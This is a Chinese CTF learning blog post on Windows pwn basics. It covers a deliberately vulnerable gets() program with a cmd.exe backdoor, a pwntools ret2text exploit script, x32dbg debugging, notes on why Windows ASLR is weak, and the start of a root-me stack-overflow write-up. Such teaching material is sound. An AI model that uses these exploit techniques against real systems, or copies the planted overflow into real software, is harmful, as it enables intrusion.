教练 我也想入门windows pwn

前言

这篇关于 Windows Pwn 入门的草稿应该是在 24 年初的时候写的,当时忘记因为什么原因搁置了。时间转眼已经到了 24 年底,这一年经历了挺多意料之外的事情,所以感觉时间过的飞快。今天整理了一下之前写的草稿,算是再水一篇博客。

Linux 下的二进制漏洞利用已经较为熟悉的情况下,打算去了解一下 Windows 下的 PWN 。当时本意是希望在大三结束找实习时,可以对 Windows 平台的二进制方面漏洞利用有更多了解,但回过头来看,其实也没用上🥲。

windows下的 ret2text

编写一份存在溢出漏洞和后门函数的代码,编译后进行分析、调试和利用,通过这个过程来对 windows 下的漏洞利用有一个基本认知

//gcc -m32 test.c -o test
#include <stdio.h>
#include <stdlib.h>

void backdoor(void)
{
puts("Congratulations!");
system("C:\\Windows\\system32\\cmd.exe");
}

int main(void)
{
char buf[0x10];
puts("input >>");
gets(buf);
printf("data: %s\n", buf);
}

github 上有一个项目用来检测可执行文件(支持 ELFPE )的保护机制,在 这里 可以直接下载 checksec.exe ,使用方法 checksec.exe <file_or_directory> 。用该工具检测下上面编译出来程序的安全属性

image-20240309105757431

main 函数的伪代码部分和源代码没有太大区别,而和 Linux 下明显不一样的地方是左侧的函数栏,出现了很多非自定义函数(去符号,没去符号的都有)。Linux 函数中虽然也有额外的函数但比 windows 下编译出来的少了很多。

image-20240309104632628

在漏洞利用的过程中,调试是极其重要的一环。调试大概又分成两种,分别从头开始调试程序和附加进程调试。后者在漏洞利用和验证时使用的更频繁一些,常常要配合 python 编写的攻击脚本在发送数据前后附加到进程上调试。

以编写上面代码的攻击脚本为例,进行附加进程调试的操作。

gets 读入数据到 v4 ,其距离返回地址为 0x10+0x4 字节

image-20240309110329592

在垃圾数据后面填入后门函数的地址 0x00401410

image-20240309110749504

可以编写如下 EXP ,解释下这个 remote ,这里使用了 Ex 师傅编写的工具 win_server ,该工具可以将程序启动并映射在指定端口上。和部署 pwn 题类似,用 nc 或者 pwntools 中的 remote 函数可以和挂起的程序进行交互。

from pwn import *
context.log_level = 'debug'
p = remote('127.0.0.1', 12345)
pause()
payload = b'a' * (0x10+0x4)
payload += p32(0x00401410)
p.sendline(payload)
p.interactive()

数据发送后发现没打通

image-20240309195033732

调试

我选择用 x32dbg 进行的调试,因为我在 exp 中发送 payload 之前使用了 pause 。此时目标进程也被阻塞了,所以第一步就是先运行 exp 并用 pause 卡住

image-20240309195658678

x32dbg 中选择附加

image-20240309195720377

搜索后确定 test 进程号为 41380 ,点击附加

image-20240309195804217

加载到进程后,调试器界面如下

image-20240309195858776

最初我发现无论如何 x32dbg 也无法调试到 test 程序的代码段,加之该调试器刚开始用,不太熟悉。因此就用了一个比较笨的方法,去搜索程序中出现的字符串 input >> (后来知道 ctrl+g 可以直接跳转至指定地址处)

image-20240309200524449

经过过滤后可以查看到 input >> 字符串地址为 0x40143F ,双击进行跳转

image-20240309200734233

此时已经显示出了程序的代码段,去寻找一个合适的断点位置。

image-20240309200818584

我选择将断点下到 printf("data: %s\n", v4) 这行代码的 call 指令处,点击该地址,按 F2 当地址标红时,说明断点下成功了。

image-20240309201026086

此时要将 exppause 取消,payload 才能发送,不然进程还是会一直处于阻塞状态。当程序读取到输入后,会一直运行,直到遇见下的断点后停止。此时发现 EIP 寄存器已经变成了断点处的地址

image-20240309201311166

本次调试的目的是为了探究 exp 没有打通的原因,猜测是偏移量的计算可能出了问题。这个位置已经是 gets 读入了数据,那么应该关注寄存器和栈的状态。在红框的部分中分别标注了 ebp esp 寄存器的值以及栈区。0x61616161 是垃圾数据 a ,而 ebp 寄存器是 0x0061FF28 ,在执行 leave 指令(相当于 mov esp,ebp pop ebp 两条指令)后,esp 会处于当前 ebp 下面一个内存单元的位置,并用 ret 指令跳转该内存单元中的地址。再观察栈区,发现 ebp 的位置并没有被垃圾数据所覆盖,而是在 0x61FF24 处就截止了。因此正确覆盖返回地址的偏移量应该在原本的基础上加 8

image-20240309201739605

修改 exp 后,再进行调试

from pwn import *
context.log_level = 'debug'
p = remote('127.0.0.1', 12345)
pause()
payload = b'a' * (0x10+0x4+0x8)
payload += p32(0x00401410)
p.sendline(payload)
p.interactive()

此时可以看到 main 函数的返回地址已经被修改成 0x401410

image-20240309203000473

执行完 ret 指令后,执行流已经跳转到后门函数的起始地址 0x401410

image-20240309203118990

退出调试,让程序运行完毕,发现已经拿到了 shell 并且执行 calc 命令弹出了计算器。

image-20240309203237597

报错解决

windows下gcc编译32位程序报错

windows 中编译 32 位的程序,会出现如下报错(编译 64 位的程序正常)。

PS C:\Users\86137\Desktop> gcc -m32 test.c -o test1.exe
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmingw32.a when searching for -lmingw32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libmingw32.a when searching for -lmingw32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmingw32.a when searching for -lmingw32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lmingw32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/libgcc.a when searching for -lgcc
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0\libgcc.a when searching for -lgcc
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/libgcc.a when searching for -lgcc
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lgcc
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/libgcc_eh.a when searching for -lgcc_eh
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0\libgcc_eh.a when searching for -lgcc_eh
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/libgcc_eh.a when searching for -lgcc_eh
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lgcc_eh
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmoldname.a when searching for -lmoldname
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libmoldname.a when searching for -lmoldname
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmoldname.a when searching for -lmoldname
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lmoldname
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmingwex.a when searching for -lmingwex
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libmingwex.a when searching for -lmingwex
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmingwex.a when searching for -lmingwex
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lmingwex
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmsvcrt.a when searching for -lmsvcrt
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libmsvcrt.a when searching for -lmsvcrt
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmsvcrt.a when searching for -lmsvcrt
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lmsvcrt
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libpthread.dll.a when searching for -lpthread
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libpthread.a when searching for -lpthread
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libpthread.a when searching for -lpthread
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libpthread.dll.a when searching for -lpthread
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libpthread.a when searching for -lpthread
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lpthread
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libadvapi32.a when searching for -ladvapi32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libadvapi32.a when searching for -ladvapi32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libadvapi32.a when searching for -ladvapi32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -ladvapi32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libshell32.a when searching for -lshell32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libshell32.a when searching for -lshell32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libshell32.a when searching for -lshell32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lshell32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libuser32.a when searching for -luser32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libuser32.a when searching for -luser32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libuser32.a when searching for -luser32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -luser32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libkernel32.a when searching for -lkernel32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libkernel32.a when searching for -lkernel32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libkernel32.a when searching for -lkernel32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lkernel32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libiconv.a when searching for -liconv
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libiconv.a when searching for -liconv
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libiconv.a when searching for -liconv
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -liconv
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmingw32.a when searching for -lmingw32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libmingw32.a when searching for -lmingw32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmingw32.a when searching for -lmingw32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lmingw32
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/libgcc.a when searching for -lgcc
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0\libgcc.a when searching for -lgcc
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/libgcc.a when searching for -lgcc
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lgcc
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/libgcc_eh.a when searching for -lgcc_eh
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0\libgcc_eh.a when searching for -lgcc_eh
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/libgcc_eh.a when searching for -lgcc_eh
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lgcc_eh
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmoldname.a when searching for -lmoldname
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libmoldname.a when searching for -lmoldname
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmoldname.a when searching for -lmoldname
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lmoldname
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmingwex.a when searching for -lmingwex
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libmingwex.a when searching for -lmingwex
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmingwex.a when searching for -lmingwex
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lmingwex
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmsvcrt.a when searching for -lmsvcrt
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib\libmsvcrt.a when searching for -lmsvcrt
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: skipping incompatible D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/lib/libmsvcrt.a when searching for -lmsvcrt
D:/mingw64/bin/../lib/gcc/x86_64-w64-mingw32/8.1.0/../../../../x86_64-w64-mingw32/bin/ld.exe: cannot find -lmsvcrt
collect2.exe: error: ld returned 1 exit status

报错解决参考这篇 文章 ,大概原因是我原本下载的是 mingw64 ,在编译 32 位程序的时候就会出问题,重新到官网上下载一个 mingw ,然后修改下环境变量就行了

PS:后来又发现没办法 64 位程序了,索性又下载了一个 mingw64 ,然后将两个路径都导入了环境变量,32 位的命名为 gcc.exe 64 位的命名为 gcc64.exe ,这样就可以轻松切换两个 gcc 了。

关于 Windows 下的 ASLR 机制

起因:疑问的产生

关于 WindowsASLR 的问题在我第一次做 ret2dll 的时候就注意到了,第一道 ret2dll 做的是这个 [题目](#root-me PE32 - Stack buffer overflow avancé) 。因为程序中没有 system 函数,需要去 msvcrt.dll 里获取。我用 x32dbg 看程序内存的时候发现 system 的地址一直没有改变,于是我就很纳闷,这泄露了个寂寞?当时我以为是 ASLR 没有开启,于是就放过了这里。而且那题是打的本地,第二次做 ret2dll 时打了远程,我用格式化字符串泄露了远程的 dll 地址,发现还是固定的,不过因为 checksecx32dbg 的插件 checksec 都没检测出来程序的 ASLR ,又放过了这个问题。

除去入门时自己写的例题 ret2text ,现在我做到了第三道题 强网杯2020_easyoverflow。这道题看了师傅们的 wp ,要泄露 StackCookie 的值(这个没什么解释的,正常操作),接着要泄露程序基地址。刚开始我觉得也很正常,因为这个题开了 ASLR ,程序的基地址会随机化。可是我在之后的调试过程中,我突然发现程序的基地址似乎一直没有改变…

探索

起初我以为是 x32dbg 类似于 GDB 可以在调试程序时自动关闭进程的地址随机化,于是后来我先运行程序,而后附加进程调试,查看了程序基地址依然没有改变。而后我开始怀疑是不是程序的问题,我尝试自己去编写一个开启 ASLR 保护的程序

#include<stdio.h>
#include<stdlib.h>
int main()
{
char* heap = (char*)malloc(100);
char stack[100];
system("whoami");
printf("Address of heap:0x%p\nAddress of stack 0x%p\nAddress of main 0x%p\nAddress of system 0x%p\n", heap, stack, main, &system);
getchar();
}

刚开始直接用的 gcc ,但是 ASLR 一直开不起来

image-20240325233320278

导致程序的各类地址都是固定的

image-20240325233216490

后来测试的时候,发现在 Visual Studio 中编译的程序是开启了 ASLR 保护的

image-20240325233716030

再运行程序,查看打印的地址,发现只有堆地址和栈地址是随机的,而程序基地址(观察 main 函数)和 dll 模块加载地址(观察 system 库函数)依旧是固定值。

image-20240325234108163

此时我开始怀疑自己没搞明白 windows 下的 ASLR 机制到底是怎么一回事,然后经过漫长的搜索后,我发现了这些文章对我解决疑问很有帮助。

ASLR · 探究底层机制:二进制安全 (crifan.com)

ASLR in Windows | czxvan’s blog

内存随机化保护(ASLR)简介 | Introspelliam

ASLR - What It Is, and What It Isn’t (morphisec.com)

经过阅读上面的四篇文章,结合自己上面的代码测试,能够让我有八成的把握坚信自己的想法是正确的–在 windowsASLR 开启后只有堆、栈的区域是随机的,而程序基地址和模块基地址都是在重启系统时随机的,之后每次运行程序都是固定的。

但因为最开始做 Linux 下的 pwn 题比较多,ASLR+PIE 开满时,所有的地址在每次程序重新运行时都是随机的。相比较 windows 下的地址随机化,这让我一度不敢坚信自己的猜测。这意味着在本地分析程序时,我可以用调试器直接拿到程序或模块的基地址而无需泄露,甚至我可以花一段时间爆破出固定的地址,让随机化看起来形同虚设。

还有一个原因让我不确定,因为关于这个地址随机化的问题,之前看师傅们的文章中似乎并没有提及。

抱着请教的心态给 Vergissmeinnicht 师傅发了一封邮件,在得到 Vergissmeinnicht 师傅肯定的答复后,我确定了上面的猜测(再次感谢 Vergissmeinnicht 师傅)

思考

后来我思索了一下,大概是这样的。

我个人有点先入为主,因为刚开始做的 Linux 下漏洞利用,在见识了该系统上 ASLR+PIE 开满后,程序每次运行时所有的地址都会被随机化,让我认为地址随机化本该如此。而在 CTF 中的题目又都是存在漏洞的,需要做的是用漏洞来突破地址随机化。但实际上的程序(无论是 windows 上还是 Linux 上)并不是一定存在漏洞,当概率较低出现了缓冲区溢出漏洞时,地址随机化保护起到的是缓解作用(并不是为了完全防御攻击)。假设攻击者要攻击远程系统的一个服务,已知存在缓冲区溢出漏洞,可 ASLR 的开启让程序基地址不会处于一个让攻击者已知的固定地址。攻击者无法在第一时间 ROP 进一步扩大利用(包括泄露地址,执行危险函数等),即使程序基地址只会在系统启动时随机一次,但依然能在一定程度上缓解攻击。

不管怎么说,windows 都要比 Linux 上的地址随机化保护更脆弱(可能是为了运行效率考虑?),结合这篇 文章 的内容,总结下 windowsASLR 的缺点:

  1. 基于启动时的随机化:模块基地址只在系统启动时随机化,重新运行程序,地址并不会改变。结合内存泄露或者暴力破解可以突破。

  2. 可执行文件不支持 ASLR:当可执行文件或 DLL 不是使用 ASLR 支持生成时,不支持 ASLR。尽管 Windows 8Windows 10 试图克服此限制(例如强制执行 ASLR),但仍有例外情况(不过暂时还没遇见到)。

  3. 无法捕获攻击:ASLR 无法提供有关攻击的任何信息,它只能尽量让攻击失效。

  4. ASLR 不会发出任何被攻击的警告:除了看到进程崩溃之外,用户不知道自己此刻有没有受到攻击

x32dbg简单操作

先下断点后调试

F2 下断点

F9 是跳转到最近的断点处

F8 是步过(跳过函数)

F7 是步入(进入函数)

ctrl+F9 运行至当前函数的结尾

相关题目

root-me PE32 - Stack buffer overflow avancé

题目链接

这里给了 ssh 的地址和端口,下面还有用户名和密码。用 ssh 可以登录靶机,然后用 scp 将文件给拷贝出来(不过我没成功,我用 Xterminal 连接上靶机后,用软件的下载功能拿到了附件)

image-20240324112219021

代码审计

在主函数中判断了是否传入了命令行参数,对于命令行参数的要求是一个文件名, fopen 会返回其文件指针和文件名一起作为参数传入给 manage_file

image-20240324113735479

manage_file 函数中,fseek(Stream,0,2) 会将文件指针移动到文件末尾,然后 ftell 函数会计算当前文件指针距离文件起始位置的偏移是多少,以此来得到文件的大小。然后又用遍历的方式检索了文件的字符数量,单词数量,行数。漏洞出现在 open 打开文件后,用 read 函数直接将文件里的数据读到了 8192 字节大小的数组中,因为文件的大小不确定,因此我们可以设计一个足够大的文件,让程序造成溢出。观察函数的结尾,发现没有开启 GS 保护。

image-20240324114031506

下面分别是文件的字节数正常和大量字节数的两种情况,可以看到造成溢出的情况下让程序造成了崩溃(右),并且原本的文件指针也被覆盖成了 0x61616161

image-20240324173126201

解决调试问题

在漏洞利用之前应该先解决调试的问题,因为程序没有输入,只有最开始传入了一个命令行参数。没有输入能够阻塞进程,导致进程拿到命令行参数会立刻运行结束,没时间附加到进程上调试。我采取的方法是(感觉可能 x32dbg 提供了更好的方法?但我不了解)patch 掉针对 argc 的判断,并且将 fopenmanage_file 函数的参数都改成固定的字符串 1.txt (这个字符串需要写到 .rdata 段)

